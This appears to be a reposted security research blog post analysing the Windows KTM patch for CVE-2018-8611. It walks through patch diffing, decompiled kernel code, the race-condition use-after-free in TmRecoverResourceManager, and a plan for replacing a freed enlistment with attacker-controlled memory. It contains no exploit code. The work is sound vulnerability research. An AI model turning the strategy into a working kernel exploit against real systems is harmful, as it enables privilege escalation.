-
Posts
18725 -
Joined
-
Last visited
-
Days Won
706
Posts posted by Nytro
-
-
CVE-2018-8611 Exploiting Windows KTM Part 2/5 – Patch analysis and basic triggering
Aaron Adams Research May 4, 2020 29 Minutes- TL;DR
- Diving into the patch
- Reaching the vulnerable code
- Triggering the vulnerability with an assisted race condition
- Conclusion
TL;DR
Now that we have some basic understanding of KTM functions and the KTM subsystem, as described in part 1 of our blog series, let’s take a look at the vulnerability root cause. We used Diaphora to diff the Windows 7 patch and Windows 10 patch to start. At this time we hadn’t decided which version to do our in-depth analysis on yet, and wanted to confirm that the vulnerability was similar on the latest version of Windows as an older one. Then, we go over a really useful feature of IDA since 7.2 called "Shifted Pointers" which we haven’t seen heavily detailed by other research and show how it helps us reversing KTM code efficiently. Finally, we analyze how we reach the vulnerable code and explain why we decided to trigger the vulnerability with the help of the WinDbg debugger in order to confirm our understanding of the vulnerability as well as how we would approach exploitation.
Diving into the patch
Patch diffing
The CVE-2018-8611 vulnerabilty was patched in December 2018.
It is often useful to diff a patch on multiple Windows versions for the following reasons:
-
Some new features are implemented in some versions but not others
-
Some functions are inlined in some versions but not others
-
A patch is in one module in some versions but in a different one in others
Consequently, this make it sometimes easier to understand a patch on one Windows version. Once you have understood the patch, you can generally easily port it to another version. In our case the important functional changes on Windows 10 are actually the same as Windows 7, so not particually useful here, but this practice is worth keeping in mind when doing this type of diffing work.
On Windows 7 x64 SP1, we noted KB4471328 was released to replace KB4467107. So these are the two versions we reversed and diffed with Diaphora. The reason we take KB4471328 instead of KB4471318 is because it contains less files so it is generally easier to see which file(s) changed:
Since there is no tm.sys on Windows 7, we only analyse ntoskrnl.exe. The generation of .sqlite for each ntoskrnl.exe took 20 minutes and the actual diff took 3 minutes. Note that after you generate the .sqlite for each version, you need to do the actual diff from the old version IDB in order to get the expected result (green color for new code and red for old code). We get the following relevant partial matches:
We see a number of interesting functions, but most notable is TmRecoverResourcemanager().
One small thing to note: as the name TmRecoverResourcemanager() indicates, KTM-related functions are identifiable by a Tm or Tmp function name prefix. Tm most probably stands for "Transaction Manager". We don’t know for sure what the P in Tmp stands for, but it could indicate ‘private’ as it is generally only ‘called’ internally by other KTM functions. The majority of functions that have a TmXXX name are wrapped by a corresponding NtXXX system call, whereas TmpYYY functions are all internal functions called by TmXXX functions and don’t have some directly corresponding system call.
If we recall from the Kaspersky blog they said the exploit was calling NtRecoverResourceManager() function trying to trigger the bug, so we are pretty certain TmRecoverResourceManager() is our candidate, especially because NtRecoverResourceManager() directly calls into TmRecoverResourceManager():
There are about 4 pages worth of assembly-level changes in TmRecoverResourceManager() similar to the image below:
So the vulnerability is not something simple like a better length check implying a simple integer overflow, etc. (which we knew from Kaspersky’s analysis anyway).
If we use the Hex-Rays decompiler view for the diff instead, we get a much better picture. Below corresponds to the only changes in the TmRecoverResourceManager() function. Even if for now we don’t analyse the changes yet, we see how Hex-Rays is valuable compared to the previously assembly diff:
Note that the changes above are for a naked IDB i.e. without our reversing and cleaning up of the Hex-Rays output. The next 2 screenshots show the diff where we actually spent significant time cleaning up the IDB outputs and making them more readable:
Note that you would need to re-do the diff using Diaphora after cleaning up both versions of your binary for best results.
On Windows 10, the diff methodology is very similar. We use tm.sys instead of ntoskrnl.exe though. Since tm.sys is a lot smaller than ntoskrnl.exe the diff is a lot faster and it only gives TmRecoverResourceManager() function for changes which confirms our understanding on Windows 7.
Tidying Hex-Rays output with "Shifted Pointers"
This is a diversion from the vulnerability, and you can skip this part if you are not interested in internal features of IDA Pro/Hex-Rays.
Shifted pointers?
In order to get the decompilation shown above looking clear, we heavily used a feature called "Shifted Pointers" in Hex-Rays to help clean up the output of the related functions, and thought it was worth describing in case people were not too familiar with it. It was the first time we used this feature. Shifted pointers are briefly documented here. This functionality was added in IDA 7.2 and is a bit more documented here.
We encountered an annoyance while analyzing some KTM functionality in so far as there are numerous pointers that are assigned to the address of internal members of a structure (like the middle of the structure), but then that new pointer is used to access other structure members relative to the position of member the pointer points to.
If you read our part 1 of our blog series, we described that _KRESOURCEMANAGER.EnlistmentHead.Flink == &_KENLISTMENT.NextSameRM. How do we make it useful when reversing?
Initial Hex-Rays output
Initially, we renamed variables in Hex-Rays and we had the following Hex-Rays output that is fairly confusing to read. For example look at v9 and v6 and access from them below. They are grouped by accesses [aX] and [bX]:
__int64 __fastcall TmRecoverResourceManager(_KRESOURCEMANAGER *pResMgr) { _KRESOURCEMANAGER *pResMgr_; // r12 char v2; // r14 _KTM *Tm; // rax _LIST_ENTRY *EnlistmentHead_ptr; // r13 _LIST_ENTRY *curr_Enlistment_list_entry; // rdi _LIST_ENTRY *v6; // rdi int v7; // er15 unsigned int v8; // er14 __int64 v9; // rsi // ... pResMgr_ = pResMgr; v2 = 0; Src_4 = 0; KeWaitForSingleObject(&pResMgr->Mutex, Executive, 0, 0, 0i64); if ( pResMgr_->State == 1 ) pResMgr_->State = 2; Tm = pResMgr_->Tm; if ( Tm && Tm->State == 3 ) { EnlistmentHead_ptr = &pResMgr_->EnlistmentHead; curr_Enlistment_list_entry = pResMgr_->EnlistmentHead.Flink; while ( curr_Enlistment_list_entry != EnlistmentHead_ptr ) { [a1] v9 = &curr_Enlistment_list_entry[-9].Blink; curr_Enlistment_list_entry = curr_Enlistment_list_entry->Flink; [a2] if ( !(*(v9 + 0xAC) & 4) ) { [a3] KeWaitForSingleObject((v9 + 64), Executive, 0, 0, 0i64); [a4] *(v9 + 172) |= 0x80u; [a5] KeReleaseMutex((v9 + 64), 0); } } [b1] v6 = EnlistmentHead_ptr->Flink; v7 = v19; [b2] while ( v6 != EnlistmentHead_ptr ) { [b3] if ( BYTE4(v6[2].Flink) & 4 ) { [b4] v6 = v6->Flink; } else { [b5] ObfReferenceObject(&v6[-9].Blink); [b6] KeWaitForSingleObject(&v6[-5].Blink, Executive, 0, 0, 0i64); v10 = 0; [b7] if ( (HIDWORD(v6[2].Flink) & 0x80u) != 0 ) { [b8] v11 = HIDWORD(v6[2].Flink) & 1; [b9] if ( v11 && ((v12 = v6[1].Blink[12].Flink, v12 == 3) || v12 == 4) ) { v10 = 1; v7 = 2048; } [b10] else if ( !v11 && LODWORD(v6[1].Blink[12].Flink) == 5 || (v13 = v6[1].Blink[12].Flink, v13 == 4) || v13 == 3 ) { v10 = 1; v7 = 256; } [b11] HIDWORD(v6[2].Flink) &= 0xFFFFFF7F; }
Dealing with shifted pointers
In the excerpt above, we see lots of magic and negative offsets for various pointers.
The first one we are interested in is v9 which depends on curr_Enlistment_list_entry.
curr_Enlistment_list_entry = pResMgr_->EnlistmentHead.Flink; while ( curr_Enlistment_list_entry != EnlistmentHead_addr ) { v9 = &curr_Enlistment_list_entry[-9].Blink;
EnlistmentHead is a member of the _KRESOURCEMANAGER type which is a _LIST_ENTRY. The Flink and Blink members of this _LIST_ENTRY point to another _LIST_ENTRY which is part of the _KENLISTMENT type that we guess because of the name EnlistmentHead. We confirmed this guess by using the !pool command on one of the list entry pointers to make sure that the address lives inside of a _KENLISTMENT structure in the non-paged pool. The method we use to search for all the types containing ENLIST is the WinDbg dt command with wildcards:
1: kd> dt nt!_KRESOURCEMANAGER nt!_KRESOURCEMANAGER +0x000 NotificationAvailable : _KEVENT +0x018 cookie : Uint4B +0x01c State : _KRESOURCEMANAGER_STATE +0x020 Flags : Uint4B +0x028 Mutex : _KMUTANT +0x060 NamespaceLink : _KTMOBJECT_NAMESPACE_LINK +0x088 RmId : _GUID +0x098 NotificationQueue : _KQUEUE +0x0d8 NotificationMutex : _KMUTANT +0x110 EnlistmentHead : _LIST_ENTRY +0x120 EnlistmentCount : Uint4B +0x128 NotificationRoutine : Ptr64 long +0x130 Key : Ptr64 Void +0x138 ProtocolListHead : _LIST_ENTRY +0x148 PendingPropReqListHead : _LIST_ENTRY +0x158 CRMListEntry : _LIST_ENTRY +0x168 Tm : Ptr64 _KTM +0x170 Description : _UNICODE_STRING +0x180 Enlistments : _KTMOBJECT_NAMESPACE +0x228 CompletionBinding : _KRESOURCEMANAGER_COMPLETION_BINDING 1: kd> dt nt!*ENLIST* ntkrnlmp!_KENLISTMENT_STATE ntkrnlmp!_KENLISTMENT ntkrnlmp!_KENLISTMENT_HISTORY
Another important thing, which is relatively common with linked lists, is that Flink and Blink don’t point to the base of the _KENLISTMENT as the excerpt below shows it is one of NextSameTx or NextSameRm. We don’t yet know which it is, but let us examine the types and offsets to find out:
1: kd> dt nt!_KENLISTMENT +0x000 cookie : Uint4B +0x008 NamespaceLink : _KTMOBJECT_NAMESPACE_LINK +0x030 EnlistmentId : _GUID +0x040 Mutex : _KMUTANT +0x078 NextSameTx : _LIST_ENTRY +0x088 NextSameRm : _LIST_ENTRY +0x098 ResourceManager : Ptr64 _KRESOURCEMANAGER +0x0a0 Transaction : Ptr64 _KTRANSACTION +0x0a8 State : _KENLISTMENT_STATE +0x0ac Flags : Uint4B +0x0b0 NotificationMask : Uint4B +0x0b8 Key : Ptr64 Void +0x0c0 KeyRefCount : Uint4B +0x0c8 RecoveryInformation : Ptr64 Void +0x0d0 RecoveryInformationLength : Uint4B +0x0d8 DynamicNameInformation : Ptr64 Void +0x0e0 DynamicNameInformationLength : Uint4B +0x0e8 FinalNotification : Ptr64 _KTMNOTIFICATION_PACKET +0x0f0 SupSubEnlistment : Ptr64 _KENLISTMENT +0x0f8 SupSubEnlHandle : Ptr64 Void +0x100 SubordinateTxHandle : Ptr64 Void +0x108 CrmEnlistmentEnId : _GUID +0x118 CrmEnlistmentTmId : _GUID +0x128 CrmEnlistmentRmId : _GUID +0x138 NextHistory : Uint4B +0x13c History : [20] _KENLISTMENT_HISTORY
We know curr_Enlistment_list_entry points to an offset of either 0x78 or 0x88 inside _KENLISTMENT.
We then look at the assembly of the v9 assignment to determine the relative offset from 0x78 or 0x88 inside _KENLISTMENT.
PAGE:0000000140321A76 ; 36: v9 = &curr_Enlistment_list_entry[-9].Blink; // 2 PAGE:0000000140321A76 PAGE:0000000140321A76 loc_140321A76: ; CODE XREF: TmRecoverResourceManager+8F↑j PAGE:0000000140321A76 lea rsi, [rdi-88h]
Then we immediately deduce that curr_Enlistment_list_entry actually points to 0x88 offset since when we substract 0x88, v9 then points to the beginning of the _KENLISTMENT entry.
So we define v9 as a _KENLISTMENT* and curr_Enlistment_list_entry as a shifted pointer inside _KENLISTMENT: _KENLISTMENT_NextSameRm_ptr curr_Enlistment_NextSameRm_ptr. We add typedef _LIST_ENTRY *__shifted(_KENLISTMENT,0x88) _KENLISTMENT_NextSameRm_ptr; into the "Local Type" window.
The above declaration means that _KENLISTMENT_NextSameRm_ptr is a pointer to _LIST_ENTRY and if we decrement it by 0x88 bytes, we will end up at the beginning of _KENLISTMENT.
We are able to confirm the accuracy of the shifted pointer as we went from this hardly-readable code:
if ( Tm && Tm->State == 3 ) { EnlistmentHead_ptr = &pResMgr_->EnlistmentHead; curr_Enlistment_list_entry = pResMgr_->EnlistmentHead.Flink; while ( curr_Enlistment_list_entry != EnlistmentHead_ptr ) { [a1] v9 = &curr_Enlistment_list_entry[-9].Blink; curr_Enlistment_list_entry = curr_Enlistment_list_entry->Flink; [a2] if ( !(*(v9 + 0xAC) & 4) ) { [a3] KeWaitForSingleObject((v9 + 64), Executive, 0, 0, 0i64); [a4] *(v9 + 172) |= 0x80u; [a5] KeReleaseMutex((v9 + 64), 0); } }
to the improved code representation:
if ( Tm && Tm->State == 3 ) { EnlistmentHead_addr = &pResMgr_->EnlistmentHead; curr_Enlistment_NextSameRm_ptr = pResMgr_->EnlistmentHead.Flink; while ( curr_Enlistment_NextSameRm_ptr != EnlistmentHead_addr ) { [a1] curr_Enlistment = ADJ(curr_Enlistment_NextSameRm_ptr); curr_Enlistment_NextSameRm_ptr = ADJ(curr_Enlistment_NextSameRm_ptr)->NextSameRm.Flink; [a2] if ( !(curr_Enlistment->Flags & 4) ) { [a3] KeWaitForSingleObject(&curr_Enlistment->Mutex, Executive, 0, 0, 0i64); [a4] curr_Enlistment->Flags |= 0x80u; [a5] KeReleaseMutex(&curr_Enlistment->Mutex, 0); } }
There is a similar assignment to get v6 so we again define it as a _KENLISTMENT_NextSameRm_ptr and rename it to curr_Enlistment_NextSameRm_ptr_. We went from this hardly-readable code:
[b1] v6 = EnlistmentHead_addr->Flink; v7 = v19; [b2] while ( v6 != EnlistmentHead_addr ) { [b3] if ( BYTE4(v6[2].Flink) & 4 ) { [b4] v6 = v6->Flink; } else { [b5] ObfReferenceObject(&v6[-9].Blink); [b6] KeWaitForSingleObject(&v6[-5].Blink, Executive, 0, 0, 0i64); v10 = 0; [b7] if ( (HIDWORD(v6[2].Flink) & 0x80u) != 0 ) { [b8] v11 = HIDWORD(v6[2].Flink) & 1; [b9] if ( v11 && ((v12 = v6[1].Blink[12].Flink, v12 == 3) || v12 == 4) ) { v10 = 1; v7 = 2048; } [b10] else if ( !v11 && LODWORD(v6[1].Blink[12].Flink) == 5 || (v13 = v6[1].Blink[12].Flink, v13 == 4) || v13 == 3 ) { v10 = 1; v7 = 256;
to the improved code representation:
[b1] curr_Enlistment_NextSameRm_ptr_ = EnlistmentHead_addr->Flink; v7 = v19; [b2] while ( curr_Enlistment_NextSameRm_ptr_ != EnlistmentHead_addr ) { [b3] if ( ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 4 ) { [b4] curr_Enlistment_NextSameRm_ptr_ = ADJ(curr_Enlistment_NextSameRm_ptr_)->NextSameRm.Flink; } else { [b5] ObfReferenceObject(ADJ(curr_Enlistment_NextSameRm_ptr_)); [b6] KeWaitForSingleObject(&ADJ(curr_Enlistment_NextSameRm_ptr_)->Mutex, Executive, 0, 0, 0i64); v10 = 0; [b7] if ( (ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 0x80u) != 0 ) { [b8] v11 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 1; [b9] if ( v11 && ((v12 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State, v12 == 3) || v12 == 4) ) { v10 = 1; v7 = 2048; } [b10] else if ( !v11 && ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State == 5 || (v13 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State, v13 == 4) || v13 == 3 ) { v10 = 1; v7 = 256;
For those unfamiliar with the use of shifted pointers, note that the ADJ() wrapper around the variables in the excerpt above are added by the Hex-Rays decompiler to indicate that the variable being accessed is based on a shifted pointer.
Resulting Hex-Rays output
Below is the previously shown Hex-Rays output cleaned up using the shifted pointer approach:
_KENLISTMENT_NextSameRm_ptr curr_Enlistment_NextSameRm_ptr; // rdi _KENLISTMENT_NextSameRm_ptr curr_Enlistment_NextSameRm_ptr_; // rdi _KENLISTMENT *curr_Enlistment; // rsi ... if ( Tm && Tm->State == 3 ) { EnlistmentHead_addr = &pResMgr_->EnlistmentHead; curr_Enlistment_NextSameRm_ptr = pResMgr_->EnlistmentHead.Flink;// 1 while ( curr_Enlistment_NextSameRm_ptr != EnlistmentHead_addr ) { [a1] curr_Enlistment = ADJ(curr_Enlistment_NextSameRm_ptr);// 2 curr_Enlistment_NextSameRm_ptr = ADJ(curr_Enlistment_NextSameRm_ptr)->NextSameRm.Flink; [a2] if ( !(curr_Enlistment->Flags & 4) ) { [a3] KeWaitForSingleObject(&curr_Enlistment->Mutex, Executive, 0, 0, 0i64); [a4] curr_Enlistment->Flags |= 0x80u; [a5] KeReleaseMutex(&curr_Enlistment->Mutex, 0); } } [b1] curr_Enlistment_NextSameRm_ptr_ = EnlistmentHead_addr->Flink;// 3 v7 = v19; [b2] while ( curr_Enlistment_NextSameRm_ptr_ != EnlistmentHead_addr ) { [b3] if ( ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 4 ) { [b4] curr_Enlistment_NextSameRm_ptr_ = ADJ(curr_Enlistment_NextSameRm_ptr_)->NextSameRm.Flink; } else { [b5] ObfReferenceObject(ADJ(curr_Enlistment_NextSameRm_ptr_)); [b6] KeWaitForSingleObject(&ADJ(curr_Enlistment_NextSameRm_ptr_)->Mutex, Executive, 0, 0, 0i64); v10 = 0; [b7] if ( (ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 0x80u) != 0 ) { [b8] v11 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 1; [b9] if ( v11 && ((v12 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State, v12 == 3) || v12 == 4) ) { v10 = 1; v7 = 2048; } [b10] else if ( !v11 && ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State == 5 || (v13 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State, v13 == 4) || v13 == 3 ) { v10 = 1; [b11] v7 = 256; } ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags &= 0xFFFFFF7F; }
Hopefully the above shows that pursuing such fixups is worthwhile, and will make reversing a much more enjoyable and speedy experience.
Patch analysis
Once we have a nicely cleaned up IDB and understand what all the structures and states being analyzed actually are, we take a look at the vulnerability Microsoft fixed.
Vulnerable code
The vulnerable code in TmRecoverResourceManager() is as follows:
pEnlistment_shifted = EnlistmentHead_addr->Flink; while ( pEnlistment_shifted != EnlistmentHead_addr ) { if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) { pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink; } else { ObfReferenceObject(ADJ(pEnlistment_shifted)); KeWaitForSingleObject(&ADJ(pEnlistment_shifted)->Mutex, Executive, 0, 0, 0i64); [...] if ( (ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_IS_NOTIFIABLE) != 0 ) { if ([...]) { [v1] bSendNotification = 1; } ADJ(pEnlistment_shifted)->Flags &= ~KENLISTMENT_IS_NOTIFIABLE; } [...] KeReleaseMutex(&ADJ(pEnlistment_shifted)->Mutex, 0); [v2] if ( bSendNotification ) { KeReleaseMutex(&pResMgr->Mutex, 0); ret = TmpSetNotificationResourceManager( pResMgr, ADJ(pEnlistment_shifted), 0i64, NotificationMask, 0x20u, // sizeof(TRANSACTION_NOTIFICATION_RECOVERY_ARGUMENT) ¬ification_recovery_arg_struct); [v3] if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) bEnlistmentIsFinalized = 1; [v4] ObfDereferenceObject(ADJ(pEnlistment_shifted)); [v5] KeWaitForSingleObject(&pResMgr->Mutex, Executive, 0, 0, 0i64); if ( pResMgr->State != KResourceManagerOnline ) goto b_release_mutex; } [...] [v6] if ( bEnlistmentIsFinalized ) { pEnlistment_shifted = EnlistmentHead_addr->Flink; bEnlistmentIsFinalized = 0; } else { [v7] pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink; } } }
Let’s analyze the unpatched code. If the lines marked [v1] and [v2] are executed, bSendNotification is set to 0x1 then TmpSetNotificationResourceManager() is called, which queues a notification related to the current enlistment being parsed. In order to send this notification, the _KRESOURCEMANAGER structure, pointed to by pResMgr, has its mutex unlocked. This means other code in a separate thread can execute code that requires the lock.
After a notification is queued by calling TmpSetNotificationResourceManager(), a test is done at the line marked [v3], which tests if the enlistment currently being parsed has been finalized or not, as indicated by a KENLISTMENT_FINALIZED flag. An enlistment being finalized means that the work is done and it is ready to be freed. This means that the subsequent ObjDereferenceObject() call marked [v4] could free the enlistment, and as such the code sets the bIsEnlistmentFinalized flag to indicate to itself that the pEnlistment pointer shouldn’t be touched again.
At [v5] the pResMgr‘s mutex is locked again, and the loop tries to move on to parsing and potentially notifying the next enlistment in the linked list. It decides where to fetch this new enlistment based on the previously set bIsEnlistmentFinalized flag being set or not, as indicated by [v6]. If the flag is set, the pointer is fetched from the head of the linked list maintained in the _KRESOURCEMANAGER structure. Otherwise the enlistment that just had a notification queued will be used to find the next link, indicated by [v7].
At a high level, the following diagram shows the structures being parsed by this code, and approximately what happens if a finalized enlistment is encountered. The diagram will be revisited in more detail later.
In contrast to what the diagram above shows, when the code in the loop detects a finalized enlistment and restarts from EnlistmentHead, the list head most likely points back to some _KENLISTMENT that was already parsed (like the entry pointed to by 1 in the diagram above). In this scenario the _KENLISTMENT being reparsed has been marked as non-notifiable, and so a new notification will not be placed into the queue. Additionally, any other enlistments that may have been finalized and since removed from the linked list may not be reparsed. Since this is hard to illustrate, we simplify the diagram to show step 2 having EnlistmentHead referencing the next notifiable _KENLISTMENT that has yet to be parsed.
Patched code
The following is the patched version of the same code:
pEnlistment_shifted = EnlistmentHead_addr->Flink; while ( pEnlistment_shifted != EnlistmentHead_addr ) { if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) { pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink; } else { ObfReferenceObject(ADJ(pEnlistment_shifted)); KeWaitForSingleObject(&ADJ(pEnlistment_shifted)->Mutex, Executive, 0, 0, 0i64); bSendNotification = 0; if ( (ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_IS_NOTIFIABLE) != 0 ) { if ([...]) { [p1] bSendNotification = 1; } [...] ADJ(pEnlistment_shifted)->Flags &= ~KENLISTMENT_IS_NOTIFIABLE; } [...] KeReleaseMutex(&ADJ(pEnlistment_shifted)->Mutex, 0); [p2] if ( bSendNotification ) { KeReleaseMutex(&pResMgr->Mutex, 0); ret = TmpSetNotificationResourceManager( pResMgr, ADJ(pEnlistment_shifted), 0i64, notification_timeout, 0x20u, &cur_enlistment_guid); ObfDereferenceObject(ADJ(pEnlistment_shifted)); KeWaitForSingleObject(&pResMgr->Mutex, Executive, 0, 0, 0i64); if ( pResMgr->State != KResourceManagerOnline ) goto b_release_mutex; Tm_ = pResMgr->Tm; [p8] if ( !Tm_ || Tm_->State != KKtmOnline ) { ret = STATUS_TRANSACTIONMANAGER_NOT_ONLINE; goto b_release_mutex; } [p6] pEnlistment_shifted = EnlistmentHead_addr->Flink; } else { ObfDereferenceObject(ADJ(pEnlistment_shifted)); pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink; } } }
In the patched version of the function above, we see that between the locations marked [p1] and [p6] a check for KENLISTMENT_FINALIZED no longer occurs at all. Instead, we see that any time [p1] and [p2] are executed and a notification is queued, the code just assumes that the enlistment was potentially finalized, and always fetches the next _KENLISTMENT from the head of the linked list maintained in the _KRESOURCEMANAGER structures instead. There is also a new check added at line marked [p8] to see if the transaction manager has gone offline, in which case the loop is exited. This ended up not being useful for exploiting this vulnerability, but as we will explore in part 5 of this blog series, it can actually be used to safely detect if a system is vulnerable or not.
So what does the patch tell us about the vulnerability? We infer that there must be a race condition between the time the KENLISTMENT_FINALIZED flag is checked and the time the _KENLISTMENT pointer is actually used. This in turn implicates that likely the memory that the _KENLISTMENT pointer points to can be freed and potentially replaced, meaning we’re looking at a use-after-free that is triggered by winning the race. This idea is elaborated a bit further with added comments in the vulnerable code:
if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) { bEnlistmentIsFinalized = 1; } // START: Race starts here, if bEnlistmentIsFinalized was not set ObfDereferenceObject(ADJ(pEnlistment_shifted)); KeWaitForSingleObject(&pResMgr->Mutex, Executive, 0, 0, 0i64); if ( pResMgr->State != KResourceManagerOnline ) goto b_release_mutex; } //... // END: If at any time, after START, another thread finalized and // closed pEnlistment_shifted, it might now be freed, but // `bEnlistmentIsFinalized` is not set, so the code doesn't know. if ( bEnlistmentIsFinalized ) { pEnlistment_shifted = EnlistmentHead_addr->Flink; bEnlistmentIsFinalized = 0; } else { // ADJ(pEnlistment_shifed)->NextSameRm.Flink could reference freed // memory pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink; }
Now, from our initial analysis, we assume the vulnerability is a race condition, that leads to use after free, and that the type of structure we’ll be abusing is a _KENLISTMENT. This in turn tells us few things we need to figure out next to further validate our understanding and move towards actually triggering the vulnerability:
-
How and when is the KENLISTMENT_FINALIZED flag set?
-
Is this flag being set predicated on pResMgr->Mutex being unlocked?
-
Does ObjDereferenceObject() actually free the _KENLISTMENT?
Congestioning the mutex?
One interesting thing to note, now that we understand the vulnerability a bit more, is this quote from the Kaspersky writeup:
One of created threads calls NtQueryInformationResourceManager in a loop, while second thread tries to execute NtRecoverResourceManager once.
If you reverse NtQueryInformationResourceManager you will see that one of the things it does is lock a _KRESOURCEMANAGER mutex. If we relook at the code where ObjDereferenceObject() is called in TmRecoverResourceManager() at [v4], it is immediately followed by an attempt to lock the _KRESOURCEMANAGER mutex at [v5]. This gives us a hint for the future that this location could potentially give us a way in which to force the race window open and give us time to free the enlistment. It also gives us a good candidate location for manually patching code in WinDbg in order to leave the race window opened to test the bug, which we’ll go into using more detail later. When analyzing these types of bugs it is good to always consider these possibilities as you go.
A simplified excerpt from NtQueryInformationResourceManager() is below, which shows what is done while this mutex is locked:
KeWaitForSingleObject(&pResMgr->Mutex, Executive, 0, 0, 0i64); if ( ResourceManagerInformationLength >= 0x18 ) { DescriptionLength = pResMgr->Description.Length; *&ResourceManagerInformation->DescriptionLength = DescriptionLength; AdjustedDescriptionLength = pResMgr->Description.Length + 0x14; if ( AdjustedDescriptionLength = AdjustedDescriptionLength ) { copyLength = pResMgr->Description.Length; } else { rcval = STATUS_BUFFER_OVERFLOW; copyLength = ResourceManagerInformationLength - 0x14; } memmove(&ResourceManagerInformation->Description, pResMgr->Description.Buffer, copyLength); } else { rcval = STATUS_BUFFER_TOO_SMALL; } KeReleaseMutex(&pResMgr->Mutex, 0);
So we see that by repeatedly calling the code above, there is some amount of code we can execute that will prevent TmRecoverResourceManager() from relocking the mutex, which gives some time to further win the race.
Initial strategy for exploitation
With our new understanding of the vulnerability, and what the patch does, our theory for how to exploit this vulnerability is the following:
- We must free that exact enlistment after TmRecoverResourceManager() checks to see if the enlistment is finalized, but before it is able to lock the _KRESOURCEMANAGER mutex.
- This free will be done by the ObjDereferenceObject() call in TmRecoverResourceManager() or in some other yet unidentified code while TmRecoverResourceManager() is waiting to lock the resource manager mutex.
- Prior to returning from locking the mutex, the freed memory should be replaced by some other attacker-controlled memory
- At that point, the NextSameRm.Flink value is controlled by us and we can make the kernel point to an arbitrary memory location.
Now let’s compare a normal scenario with a race condition scenario. This diagram is the same as before, and shows how the logic is meant to be working in a normal scenario:
The following diagram shows how by winning a race condition, an invalid _KENLISTMENT will be referenced:
A small final side note about the patch: we originally thought the check in the patched code for seeing if the transaction manager is offline might indicate the best way to finalize an enlistment to trigger the bug. This was not a good approach in the end and appears to just be an additional fix Microsoft added in the process of fixing CVE-2018-8611.
Reaching the vulnerable code
Transaction state prerequisites
As detailed before, if we look at the cross references to the vulnerable TmRecoverResourceManager() it becomes clear we can just call the NtRecoverResourceManager() syscall from userland, which matches what Kaspersky said.
Now we have a few things to do:
- We want to know how to ensure the transaction and enlistment states meet the requirements to hit the vulnerable code.
- We want to start with code that lets us correctly recover, without even trying to win the race. This lets us know what recovering a resource manager looks like.
- We want to figure out how to finalize an enlistment.
To deal with the first thing, we look at a piece of code that was ommitted earlier from the patch analysis. The following check in TmRecoverResourceManager() determines if bSendNotification gets set, which lets us send a notification and hit the buggy code path:
bSendNotification = 0; if ( (ADJ(pEnlistment)->Flags & KENLISTMENT_IS_NOTIFIABLE) != 0 ) { bEnlistmentSuperior = ADJ(pEnlistment)->Flags & KENLISTMENT_SUPERIOR; if ( bEnlistmentSuperior && ((state = ADJ(pEnlistment)->Transaction->State, state == KTransactionPrepared) || state == KTransactionInDoubt) ) { bSendNotification = 1; NotificationMask = TRANSACTION_NOTIFY_RECOVER_QUERY; } else if ( !bEnlistmentSuperior && ADJ(pEnlistment)->Transaction->State == KTransactionCommitted || (state = ADJ(pEnlistment)->Transaction->State, state == KTransactionInDoubt) || state == KTransactionPrepared ) { bSendNotification = 1; NotificationMask = TRANSACTION_NOTIFY_RECOVER; } ADJ(pEnlistment)->Flags &= ~KENLISTMENT_IS_NOTIFIABLE; }
There are two ways to set bSendNotification:
- One is when the enlistment is superior and the transaction is in the KTransactionInDoubt or KTransactionPrepared state
- The other is when the enlistment is not superior and the transaction is in the KTransactionCommitted, KTransactionInDoubt, or KTransactionPrepared state
Trial and error showed us that using superior enlistments here would not work, as it requires the transaction manager and resource manager to be non-volatile. As we noted in part 1 of our series, due to the number of enlistments we’ll be using and the potential number of attempts before winning the race, we need to use volatile managers that do not keep a log. Furthermore, due to the apparent restriction of having only one superior enlistment at a time, superior enlistments can’t be used to spray lots of candidate _KENLISTMENT for triggering the vulnerability.
This means we need to figure out how to ensure that the non-superior enlistments being parsed by the TmRecoverResourceManager() loop at the time of triggering the vulnerability are associated with a transaction in one of the three aforementioned states. We initially thought about ignoring KTransactionInDoubt and focusing on the KTransactionCommitted and KTransactionPrepared states as it appeared to us that transactions being in an InDoubt state could be harder to deal with.
Transitioning state
During our testing and debugging, we concluded that when a KTM client says that it wants to commit to some transaction, it calls CommitTransaction(), which will block until the transaction is actually completed and committed, or some other event occurs (like the transaction is rolled back).
While the client is blocked, the transaction can transition through a number of states that are all indicative of some amount of progress of the constituent enlistments involved in completing the transaction.
These states are tracked by the _KTRANSACTION_STATE enum:
//0x4 bytes (sizeof) enum _KTRANSACTION_STATE { KTransactionUninitialized = 0, KTransactionActive = 1, KTransactionPreparing = 2, KTransactionPrepared = 3, KTransactionInDoubt = 4, KTransactionCommitted = 5, KTransactionAborted = 6, KTransactionDelegated = 7, KTransactionPrePreparing = 8, KTransactionForgotten = 9, KTransactionRecovering = 10, KTransactionPrePrepared = 11 };
The most interesting states from our perspective are the transaction and enlistment states that lead to an enlistment being notified of a recovery, which in turn eventually leads us to the vulnerability we will be looking at. It may not be obvious which of these states match these requirements.
